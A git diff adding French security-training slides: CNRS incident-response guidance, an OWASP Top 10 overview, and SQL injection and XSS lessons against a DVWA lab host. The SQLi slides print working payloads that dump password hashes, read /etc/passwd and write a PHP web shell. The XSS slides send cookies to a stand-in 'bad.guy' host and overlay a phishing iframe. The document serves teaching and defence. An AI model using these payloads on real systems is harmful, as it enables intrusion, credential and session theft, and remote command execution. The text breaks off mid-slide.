nécessaire, mettre en place une supervision à plus long terme \ No newline at end of file diff --git a/content/slides/1337/md/reagir/08_consolider.md b/content/slides/1337/md/reagir/08_consolider.md new file mode 100644 index 0000000000000000000000000000000000000000..a11e8c62c2a4eb7943d5d586519f2ee38f2ef0eb --- /dev/null +++ b/content/slides/1337/md/reagir/08_consolider.md @@ -0,0 +1,75 @@ +## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/> + +<div style="text-align: center;"> + <img src="/_/gdi/images/colmater.jpeg" width="70%"/> +</div> + + +## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/> +### Objectifs</h3> +* Augmenter le niveau de sécurité +* Capitaliser l’expérience acquise +* Accompagner et responsabiliser l’ensemble des acteurs (hiérarchie, prestataires, utilisateurs, etc.) + + +## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/> +### Préparer un bilan de l’incident</h3> +* Si besoin, effectuer des investigations complémentaires + * se faire aider si besoin + * Prestataire de confiance + * Informaticien CNRS ou partenaire + * Réseau SSI + * Etc. +* Ecrire un rapport factuel et détaillé incluant le journal de l’incident + + +## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/> +* Préparer un plan d'amélioration + * Proposer des actions concrètes d'amélioration évaluées selon plusieurs critères (charge, coût, complexité, délai, ...) afin de permettre la prise de décision + * Si nécessaire, proposer également des améliorations du processus de gestion des incidents de l'entité +* Compléter par une estimation du coût et des conséquences de la « non-sécurité » + * Valoriser les impacts financiers liés à la perte ou la compromission des informations + * Valoriser les coûts des actifs supports volés ou perdus + * H.J. dédiés à la gestion de l’incident + * H.J. perdus dû à l’incident + * Perte de confiance ou d’image de marque + + +## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/> + +<div style="text-align: center;"> + <a href="https://extra.core-cloud.net/collaborations/RSSI-CNRS/tableau_de_bord/Incidents/R%C3%A9partition%20des%20incidents%20par%20cat%C3%A9gorie.aspx"> + <img src="/_/gdi/images/stat_cnrs_1.png"/> + </a> +</div> + + +## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/> + +<div style="text-align: center;"> + <a href="https://extra.core-cloud.net/collaborations/RSSI-CNRS/tableau_de_bord/Incidents/Statistiques%20mensuelles%20des%20incidents.aspx"> + <img src="/_/gdi/images/stat_cnrs_2.png"/> + </a> +</div> + + +## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/> +## Clôturer l’incident +* Dans un délai raisonnable: réaliser un retour d’expérience (fortement recommandé) + * Expliquer de façon factuelle en séance ce qu’il s’est passé sur la base du rapport + * Inviter les différentes parties prenantes, dont la hiérarchie + * Envoyer le rapport et la proposition de plan d’actions à l’avance +* Impliquer la hiérarchie + * Si possible et si nécessaire, lors de la même séance, faire évoluer et dans tous les cas, faire valider le plan d'actions par les parties prenantes et la hiérarchie +* A la fin de cette séance, même s’il reste des actions, l’incident peut être considéré clôturé. + + +## Clôturer l’incident <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/> +### Actions post-incidents</h3> +* Consolider (Créer) la base d'incidents +* Consolider (Commencer) l‘analyse de risque +* Suivre le plan d'actions + * Intégrer le suivi de réalisation de ces actions dans un comité existant (recommandé) ou créer un comité ad-hoc + * Rendre compte à la hiérarchie de l’avancée des actions +* Partager la mésaventure et l’expérience avec les réseaux d’informaticiens +* S’il y a eu dépôt de plainte, répondre aux services de police et suivre l’avancée des procédures judiciaires \ No newline at end of file diff --git a/content/slides/1337/md/reagir/09_erreurs_a_eviter.md b/content/slides/1337/md/reagir/09_erreurs_a_eviter.md new file mode 100644 index 0000000000000000000000000000000000000000..7724f9c86ef27ab692fdedbfc6760265e131fb9a --- /dev/null +++ b/content/slides/1337/md/reagir/09_erreurs_a_eviter.md @@ -0,0 +1,75 @@ +## Erreurs à éviter +<div style="text-align: center;"> + <img src= "/_/gdi/images/erreurs_a_eviter.png" width="90%"/> +</div> + + +## Erreurs à éviter +* Ne pas déclarer, dissimuler les incidents + * Outil pour la saisie des incidents + * Pourquoi investir dans la sécurité s’il n’y a jamais d’incident + * Traiter mais oublier de déclarer l'incident + * Minimiser la gravité de l'incident + * Sur-réagir à l'incident + * Ne pas demander aide et conseils + * Aucune honte + * Nécessaire recul + * Réseau d’experts + * Ne pas distinguer les incidents liés à la sécurité de l’information de ceux qui ne le sont pas + * Surcharge des équipes en charge de la SSI: un bourrage d’imprimante n’est pas un incident SSI même, si c’est très important pour l’utilisateur + + +## Erreurs à éviter +* Vouloir aller trop vite + * Ne pas prendre les mesures conservatoires et ne pas recueillir les éléments qui serviront à l’analyse et aux preuves + * Rétablir un service avant d’être sûr d’avoir compris ce qu’il s’est passé et d’avoir comblé les failles + * Céder à la pression des utilisateurs +* Avoir des descriptions incomplètes ou imprécises des incidents +* Ne pas se rendre compte que l'on dispose d'informations fausses ou incomplètes +* Détruire des preuves + * Lancer des outils de détection directement sur la machine et non pas sur une copie des informations + * Réinstaller avant d’avoir recueilli et sauvegardé toutes les informations + + +## Erreurs à éviter +* Mal communiquer + * Oublier de prévenir la hiérarchie + * Trop communiquer + * Ne pas informer les gens ayant besoin d'en connaitre +* Ne pouvoir contenir et éradiquer l’incident +* Se refaire compromettre par la même faiblesse +* Ne pouvoir rétablir un environnement sain +* Ne pas faire de retour d’expérience +* Si la faille dépasse l'unité, poursuivre l'analyse sur un dispositif distant sans l'autorisation du propriétaire +* Engager une contre-attaque + * Illégal + * Imputation très difficile, risque de se tromper de cible + * L’attaquant est très fort et peut réagir violemment + + +## Recommandations +* Faire de la veille technologique et recevoir les bulletins d'alertes +* Être préparé + * Essentiel pour pouvoir réagir correctement en situation de stress, de crise + * Disposer des outils + * Les tester régulièrement + * Les maintenir à jour + * Connaître / Documenter les procédures + * S’entraîner, faire des simulations d’incident + * Tester régulièrement les sauvegardes et les restaurations + * Avoir des outils automatiques d’installation de machines (facilite la réinstallation) + + +## Recommandations +* Ne pas attendre d’avoir toutes les informations pour déclarer un incident + * Indiquer si on n’est pas sûr d’une information + * Compléter, corriger par la suite +* Traiter la découverte d’une vulnérabilité comme un incident + * Quasi incident + * Retour d’expérience, amélioration +* Impliquer la hiérarchie +* Communiquer + * Délicat mais essentiel + * Adapter le discours aux différentes parties prenantes + * Le meilleur communicant n’est pas celui qui a les mains dans le cambouis, faire passer les messages par la direction +* Maitriser son périmètre informatique \ No newline at end of file diff --git a/content/slides/1337/md/reagir/10_conclusions.md b/content/slides/1337/md/reagir/10_conclusions.md new file mode 100644 index 0000000000000000000000000000000000000000..91d0b6195dd806acffcd46320572a15018acadde --- /dev/null +++ b/content/slides/1337/md/reagir/10_conclusions.md @@ -0,0 +1,30 @@ + +## Conclusions + +<div style="text-align: center;"> + <img src= "/_/gdi/images/Monsieur-Cyclopede.jpg" width="90%"/> +</div> + + +## Conclusions +* Bien déterminer le type d'incident + * pour appliquer la bonne procédure +* Bien caractériser l'incident + * Pour améliorer l’appréciation des risques + * Pour une remontée efficace + * Pour Estimer le coût de la non sécurité +* Traiter aussi les évènements et les vulnérabilités + + +## Ressources complémentaires +* [DSI pôle ARESU - Sécurité](https://aresu.dsi.cnrs.fr/spip.php?rubrique16) +* [Tous les documents de l'ANF Gestion des incidents](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Formation%20%20Gestion%20des%20Incidents/Forms/AllItems.aspx) + * [les documents de la DR17 qui ont servis pour la mise à jour de cette présentation (MERCI!)](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Formation%20%20Gestion%20des%20Incidents/Forms/AllItems.aspx?RootFolder=%2Fcollaborations%2FRSSI-CNRS%2FFormation%20%20Gestion%20des%20Incidents%2FFormation%20-%20Gestion%20des%20Incidents%202014%2FDR17&FolderCTID=0x012000859DA60215B6CA43B5033CAD99231941&View={45010E28-1540-4E48-B20B-06496674B54F}) +* [ENISA - Good Practice Guide for Incident Management](https://www.enisa.europa.eu/activities/cert/support/incident-management) +* [ISO27035 (Information security incident management)](http://www.iso27001security.com/html/27035.html) +* [PSSIE](http://www.ssi.gouv.fr/IMG/pdf/pssie_anssi.pdf) +* [Objectifs de sécurité [ANSSI]](http://www.ssi.gouv.fr/IMG/pdf/20140310_Objectifs_de_cybersecurite_document_public.pdf) +* [Charte informatique du CNRS](http://www.cil.cnrs.fr/CIL/IMG/pdf/charte_info.pdf) + + + \ No newline at end of file diff --git a/content/slides/1337/md/sqli.md b/content/slides/1337/md/sqli.md new file mode 100644 index 0000000000000000000000000000000000000000..47c63007582685baaaa45ae89e239d4da463ed79 --- /dev/null +++ b/content/slides/1337/md/sqli.md @@ -0,0 +1,398 @@ +# Injection SQL + + + +## aka SQLi + + +### <i class="fa fa-cogs"></i> Principe +* Une application envoie des données + * non *assinies* à un interpréteur +* L'attaquant envoie des séquences de texte permettant d'exploiter l'interpréteur visé + * toutes sources de données peut être utilisées + * paramètres HTTP, PATH_INFO, cookies, en-têtes HTTP, fichiers uploadés + * au niveau de la reque et [et de la réponse <i class="fa fa-reddit"></i>](http://i.imgur.com/8khrzf9.png) + + +### <i class="fa fa-user-secret"></i> Que peut on faire? +* Lire des données "protégées" +* Corrompre des données +* Dénis de services +* Lecture / écriture sur le système de fichiers +* Exécution de commandes arbitraires + +Note: +- marche pour tout interpréteur LDAP, XML, bash (shellshock) +- détectable aux messages d'erreur en cas d'input invalide + - SQL universel ce qui rend la faille très populaire + - au moment de l'exploitation il faut connaître le SGBD poru aller plus loin + - écriture dans des fichiers + - passer des commandes via xp_commandshell pour un server MSSQL +- potentielle compromission totale + - exécution de code + - backdoor + - local root exploit + + +## [Différents types](https://www.linkedin.com/grp/post/36874-130061102) + +#### [<i class="fa fa-eye"></i> Error-based]((https://www.owasp.org/index.php/SQL_Injection)) +* Les messages d'erreur mysql sont accessibles + +#### [<i class="fa fa-check-square"></i> Boolean (Blind)](https://www.owasp.org/index.php/Blind_SQL_Injection) + +* Pas de message d'erreur +* Un comportement différent selon que la requête est valide ou non + * nécessite en général d'itérer + * avec un LIKE par exemple pour déduire lettre par lettre + + +## [Différents types](https://www.linkedin.com/grp/post/36874-130061102) + +#### [<i class="fa fa-eye-slash"></i> (true) Blind](https://www.owasp.org/index.php/Blind_SQL_Injection) + +* Pas de message d'erreur +* Pas de moyen de savoir si la requête est valide ou non + * cas d'une redirection systématique + * nécessite en général d'itérer + * avec un LIKE par exemple pour déduire lettre par lettre + +Note: +- boolean type: formulaire d'authentification + - erreur en cas d'échec + - drapeau rouge + - home page en cas de succés + - drapeau vert + - attention une 404 ou une 500 peut être le drapeau vert +- blind typique + - accès à un contenu privé www.example.org/display.php?item=1' + - redirige systématiquement sur la page d'authentification + - l'idée est de charger la requête et de chronomtérer le temps d'exécution + - une requête invalide ne sera pas exécuté donc le temps de réponse sera inférieur au temps d'une requêt valide qui sera exécuté + - Benchmark() MySQL + - WaitFor() MSSQ + + +## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based + +L'idée est d'utiliser les commentaires pour terminer prématurément l'exécution du SQL + +```php +$id = $_GET['id']; +$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; +$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); +$num = mysql_numrows($result); +$i = 0; +while ($i < $num) { + $first = mysql_result($result,$i,"first_name"); + $last = mysql_result($result,$i,"last_name"); + echo '<pre>'; + echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; + echo '</pre>'; + $i++; +} +``` + + +## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based + +détectable en tentant une simple **'** en entrée + +```http +http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit# +``` + +produit + +``` +You have an error in your SQL syntax; check the manual +that corresponds to your MySQL server version for +the right syntax to use near ''''' at line 1 +``` + +intéressant! + + +## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/) + +sensible à (version human readable) + +```http +http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit +``` + +soit en version encodée + +```http +http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit +``` + +affiche la liste de tous les utilisateurs + +** <i class="fa fa-bomb"></i> on peut mieux faire !! ** + +Note: +- je donne les urls en mode human readable + - les valeurs sont à copier dans le champs + - PAS dans l'url +- se détecte avec juste ' ou en fuzzant plus large + - fuzzdb/attack-playloads/sql-injection/detect/MySQL.fuzz.txt + - fuzzdb/attack-playloads/attack-payloads/all-attacks + - tester avec Burp + - avec la hackbar + - mettre un flag grep SQL + - filtrer par length, error, et flag SQL + + +## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/) + +```http +http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 5#&Submit=Submit +``` + +affiche un message d'erreur + +```http +http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit +``` + +est exécutée + +```http +http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 3#&Submit=Submit +``` + +affiche un message d'erreur + +**<i class="fa fa-trophy"></i> par dichotomie** + +**il y a 2 champs dans la clause SELECT** + +Note: +- va nous permettre d'étendre les requêtes à d'autres tables + + +## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) + +```http +http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 UNION SELECT NULL, user()#&Submit=Submit +``` + +affiche l'utilisateur courant (mysqlusername@mysqlhost) à la fin de la liste des users + +```http +http://dv.wa/vulnerabilities/sqli/?id=' or 0=0 UNION SELECT NULL, database()#&Submit=Submit +``` + +affiche le nom de la base de données à la fin de la liste des users + + +## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) + +```http +http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables#&Submit=Submit +``` + +* affiche toutes les tables via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html) + * quand on fait de l'**UNION** de deux tables distincts on parle de **Cross table** + +```http +http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_name LIKE '%user%'#&Submit=Submit +``` + +affiche toutes les tables qui contiennent user + + +## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) + +```http +http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users'#&Submit=Submit +``` + +* affiche toutes les champs de la table user + +```http +http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit +``` + +* affiche toutes les valeurs des champs *user* et *password* de la table user + + * reste à brute forcer + + +## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) + +```http +http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, benchmark(5000000, encode('MSG', 'pass-phrase')) FROM users#&Submit=Submit +``` + +* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe + * DoS + * utile pour les vraies blind SQLi + + +## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) + +```http +http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/etc/passwd")#&Submit=Submit +``` + +affiche toutes le contenu du fichier /etc/passwd + +```http +http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit +``` + +écriture du fichier shell.php dans le système de fichiers + +```http +http://dv.wa/hackable/uploads/shell.php?cmd=ls +``` +execution de commandes systèmes avec les privilèges du thread apache + + +## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) + +<i class="fa fa-exclamation-circle"></i> le code vulnérable a changé entre low et medium + +* utilisation de la fonction [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php) + * ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, \, ', " et \x1a. + * contournable en appliquant l'encodage HTTP (HTML URL Encoding) aux caractères injectés + + +## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) + +```http +$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; +``` + +devient + +```http +$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; +``` + + +## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) + +donc l'injection du niveau low + +```http +' OR user_id > 0# +``` + +devient pour fonctionner au niveau medium + +```http +1 OR user_id > 0# +``` +devient une encodée + +```http +1%20OR%20user_id%20%3E%200 +``` + +et s'injecte directement via l'url + +```http +http://dv.wa/vulnerabilities/sqli/?id=1%20OR%20user_id%20%3E%200&Submit=Submit +``` + +Note: +- à saisir directement dans l'url +- utiliser plutôt l'encoder de burp +- sinon hackbar à comparer +- https://www.information-security.fr/dvwa-sql-injection-solutions-protections/ + + +## [SQLmap](http://sqlmap.org/) + +* Fait tous le boulot à votre palce + * une ligne de commmande + * affiche des résultats propres + * abstrait + * le moteur de base de données + * les différentes techniques d'injections + +```http +sqlmap --url "http://dv.wa/vulnerabilities/sqli/?id=1&Submit=Submit#;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables +``` + +<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session + + +### [<i class="fa fa-check-square"></i> SQLi (Blind) - security low](http://dv.wa/vulnerabilities/sqli_blind/) + +* on se concentre sur le user 1337 (id=3) + * on cherche à deviner son mot de passe + +```http +http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE 'a%'#&Submit=Submit +``` + +n'affiche rien!! en revanche + +```http +http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE '8%'#&Submit=Submit +``` + +affiche + +``` +ID: 3' AND password LIKE '8% +First name: Hack +Surname: Me +``` + + +## <i class="fa fa-eye-slash"></i> [True Blind SQL Injection](https://www.owasp.org/index.php/Blind_SQL_Injection) + +* Si aucun output n'est disponible + * on ajoute du calcul artificiellement + * la requête est valide + * le temps de réponse = temps de traitement + temps de calcul artificiel + * la requête est invalide + * le temps de réponse = temps de traitement + +problématique similaire à une booléenne + +Note: +- discussion sur les vraies blind +- in fine même problème une fois scripter + + +## <i class="fa fa-medkit"></i> Se préserver + +* Filtrage par listes blanches + * caster + * [intval()](http://php.net/manual/fr/function.intval.php), [floatval()](http://php.net/manual/fr/function.floatval.php), ... + * si l'id est toujours un entier ... + * échappement des paramètres de requêtes + * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php) + + +## <i class="fa fa-medkit"></i> Se préserver + +* Web Application Firewall (WAF) + * [mod_security](https://www.modsecurity.org/) + * log le POST + * <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html) +* Les privilèges de l'utilisateur SQL ont un sens + * [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file) + * attention aux permissions sur la base de données + * information_schema ... +* Changer les préfixes de table des CMS quand c'est possible + + +## <i class="fa fa-medkit"></i> Se préserver + +* [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php) +* Utiliser des requêtes préparée + * PDO, ORM : Doctrine2, Propel +* Être le plus silencieux possibles quant aux requêtes invalides + * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php) + * [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php) +* repérer les requêtes suspectes dans les logs + +Note: +- TODO regarder si les messages sont désactiables à partir de MySQL diff --git a/content/slides/1337/md/top10.md b/content/slides/1337/md/top10.md new file mode 100644 index 0000000000000000000000000000000000000000..30a5872832a41f37d8cec68e83d5147fa1e14c4a --- /dev/null +++ b/content/slides/1337/md/top10.md @@ -0,0 +1,61 @@ +## [Owasp top 10 (2013)](https://www.owasp.org/index.php/Top_10_2013-Top_10) + +#### <i class="fa fa-file-pdf-o"></i> [FR](http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20French.pdf) + +### <i class="fa fa-book"></i> [All Attack types](https://www.owasp.org/index.php/Category:Attack) + + +## [Owasp top 10 (2013)](https://www.owasp.org/index.php/Top_10_2013-Top_10) + +1. [Injection](https://www.owasp.org/index.php/Top_10_2013-A1-Injection) +2. [Broken Authentication and Session Management](https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management) +3. <a href="https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)">Cross-Site Scripting (XSS)</a> +4. [Insecure Direct Object References](https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References) +5. [Security Misconfiguration](https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration) +6. [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure) +7. [Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control) +8. <a href="https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)">Cross-Site Request Forgery (CSRF)</a> +9. [Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities) +10. [Unvalidated Redirects and Forwards](https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards) + + +## [Owasp top 10 (2017)](https://www.owasp.org/index.php/Top_10-2017_Top_10) + +1. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection) +2. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Broken Authentication and Session Management](https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication) +3. [<i class="fa fa-hand-o-up" aria-hidden="true"></i> Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure) +4. <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)"><i class="fa fa-hand-peace-o" aria-hidden="true"></i> XML External Entities (XXE)</a> +5. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Broken Access Control](https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control) +6. [<i class="fa fa-hand-o-down" aria-hidden="true"></i> Security Misconfiguration](https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration) +7. <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)"><i class="fa fa-hand-o-down" aria-hidden="true"></i> Cross-Site Scripting (XSS)</a> +8. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Insecure Deserialization](https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization) +9. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities) +10. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Insufficient Logging&Monitoring](https://www.owasp.org/index.php/Top_10-2017_A10-Insufficient_Logging%26Monitoring) + + +## Répartition par Attaques + + + +[source IMPERVA](http://www.imperva.com/docs/HII_Web_Application_Attack_Report_Ed4.pdf) + + +## Répartition par Attaques + +* Cross-site scripting (XSS) +* SQL injection (SQLi) +* Remote File Inclusion (RFI) +* Local File Inclusion (LFI) +* Email extraction (EmExt) +* Directory traversal (DT) +* Comment Spamming (ComSpm) +<!-- https://www.whitehatsec.com/resource/stats.html -> owncloud/ssi/2015-Stats-Report.pdf to print --> +<!-- http://www.symantec.com/security_response/publications/threatreport.jsp --> +<!-- http://www.zdnet.fr/actualites/cybersecurite-a-quoi-s-attendre-dans-les-mois-qui-viennent-39822112.htm --> + + +## Autres top 10 ... + +### <i class="fa fa-mobile"></i> [Top 10 - Mobile security](https://www.owasp.org/index.php/OWASP_Mobile_Security_Project#tab=Top_10_Mobile_Risks) + +### <i class="fa fa-wordpress"></i> <i class="fa fa-drupal"></i> [Top 10 des failles de sécurité des CMS](http://www.cms.fr/articles/525-top-10-des-failles-de-securite-des-cms.html) diff --git a/content/slides/1337/md/xss.md b/content/slides/1337/md/xss.md new file mode 100644 index 0000000000000000000000000000000000000000..b9e0629acfe25257d0a987d0fbecd3ef8abeb90d --- /dev/null +++ b/content/slides/1337/md/xss.md @@ -0,0 +1,368 @@ +# XSS + +## aka cross site script + + +### <i class="fa fa-cogs"></i> Principe + +* Affichage de données utilisateur sans validation ou échappement + * par oubli du développeur + * par les messages d'erreurs renvoyés par le langage + * tentative d'injection de code interprétable par le navigateur de la cible + + +### <i class="fa fa-user-secret"></i> Que peut on faire? + +* Défacement de pages +* Redirection arbitraire + * exploiter un CSRF (c.f. [CSRF](CSRF.htm)) +* Vol de cookies (session) +* Browser hijacking + +Note: +- Récupération d’informations +- souvent c'est du JS qu'on cherche à injecter +- redirectiona rbitriare signifie aussi réécriture d'url de formulaire à la volée +- détection automatique + - élément envoyé dans la requête et repris dans la réponse + - on commencera par esssayer d'envoyer de l'html + + +## XSS reflected + +* ou encore réfléchie, non permanente + * le code malicieux n'est stocké nulle part + * injecté dans l'url et exécuté au moment de l'accès au lien malicieux + * fait forcément appel à l'ingénierie sociale pour inciter à cliquer + + +## XSS stored + +* ou encore stockée, permanente + * le code malicieux est stocké + * exécuté à chaque fois que la donnée malicieuse est affichée par un utilisateur + * le recours à l'ingénierie sociale n'est pas forcément nécessaire + +Note: +- dans le cas d'un CSRF on récupère rien on espère que ca a marché + + +## XSS + +    + +1.Bob consulte la page faillible et repère une faille XSS + + +## XSS + +    + +2.Bob écrit un payload JS qui récupère par exemple des informations utilisateurs et les envoies sur son serveur + +**Il rend ce script accessible via le XSS qu'il a découvert sur la page faillible** + + +## XSS + +   + +3.Bob envoie l'url du XSS à Alice en l'incitant à cliquer sur un lien forgé **XSS réfléchie** + +ou + +3.attend simplement qu'elle se connecte une page compromise **XSS stockée** + +Note: +- test du XSS souvent alert ... méthode plus discrète notamment pour XSS stored + - console.log > alert + + +## XSS + +    + +4.Alice lique sur le lien forgé **XSS réfléchie** + +ou + +4.Alice consulte la page compromise et pense avoir à faire à l'originale **XSS stockée** + + +## XSS + +     + +5.la page compromise exécuter le payload JS de Bob + + +## Défacement + +### [XSS stored - security low](http://dv.wa/vulnerabilities/xss_s/) + +* l'idée est de recouvrir la page + * avec un message "p0wned" style + * avec une page malicieuse + * imiter un formulaire d'authentification légitime pour l'utilisateur + * récupérer les données saisies et rediriger l'utilisateur + * être le plus silencieux possible dans la navigation + + +### [XSS stored - security low](http://dv.wa/vulnerabilities/xss_s/) + + ```html +<iframe src="http://bad.guy/login.html" + style="position: absolute; top:0; left: 0; width: 100%; height: 100%;"> +</iframe> +``` + +* <i class="fa fa-bell-o"></i> maxlength="50" du textarea pose problème + * contournable en utilisant burp comme proxy<!-- .element class="fragment rollin" --> + * contournable avec l'inspecteur du navigateur (F12)<!-- .element class="fragment rollin" --> + +<!-- .element class="fragment rollin" --> + +Note: +- on a injecté que du HTML ... + + +## Vol de session + +* Tout le contexte du navigateur est accessible + * [créant une véritable empreinte de votre navigateur](https://panopticlick.eff.org) + +* l'appel au script distant est réalisé en javascript + +```js +<script> +location.replace("http://bad.guy/thief.php?cookie=" + document.cookie); +</script> +``` + + +### [XSS stored - security medium](http://dv.wa/vulnerabilities/xss_s/) + +filtrer la balise <script> ne suffit pas + +```js +<img src="javascript:location.replace('http://bad.guy/thief.php?cookie=' + document.cookie)" /> +``` + +mais [les navigateurs récents n'exécutent pas le js de l'attribut src de la balise img](https://www.mozilla.org/en-US/security/advisories/mfsa2006-72/) + +```js +<img src="http://2.com/3.gif" onerror="javascript:location.replace('http://bad.guy/thief.php?cookie=' + document.cookie)" /> +``` + +**il reste les événements ;)** + +Note: +- coups de la limitation caractère côté HTML à faire péter avec l'inspecteur + + +## [XSS reflected - low medium](http://dv.wa/vulnerabilities/xss_r/) + +Poc + +```http +http://dv.wa/vulnerabilities/xss_r/?name=<script>alert('pipo')</script> +``` + +soit correctement encodée + +```http +http://dv.wa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3C%2Fscript%3E +``` + + +## défacement + +```http +http://dv.wa/vulnerabilities/xss_r/?name=<iframe src="http://bad.guy/login.html" style="width: 100%; height: 100%; position: absolute; top:0; left: 0;"></iframe> +``` + +```http +http://dv.wa/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22http%3A%2F%2Fbad.guy%2Flogin.html%22+style%3D%22width%3A+100%25%3B+height%3A+100%25%3B+position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B%22%3E%3C%2Fiframe%3E +``` + + +## vol de session + +```http +http://dv.wa/vulnerabilities/xss_r/?name=<script>location.replace('http://bad.guy/thief.php?cookie=' + document.cookie);</script> +``` + +```http 